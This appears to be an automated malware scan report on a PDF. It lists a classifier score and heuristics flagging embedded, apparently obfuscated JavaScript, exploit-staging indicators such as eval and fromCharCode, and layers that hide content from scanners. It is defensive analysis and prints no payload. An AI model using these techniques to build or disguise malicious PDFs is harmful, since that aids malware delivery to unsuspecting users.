The PDF file contains multiple embedded JavaScript streams, indicated by PDF_JAVASCRIPT and PDF_JS heuristics. One of these streams, javascript_obj0011_000.js, is large enough to contain obfuscated code. The presence of String.fromCharCode further suggests code intended for execution. The primary function of this embedded JavaScript is likely to download and execute a second-stage payload, a common technique for malware delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Optional Content Group with action trigger low PDF_OPTIONAL_CONTENT
    Optional Content Group (layer) co-occurs with an action trigger — content can be selectively hidden from viewers or scanners while the action still fires on open
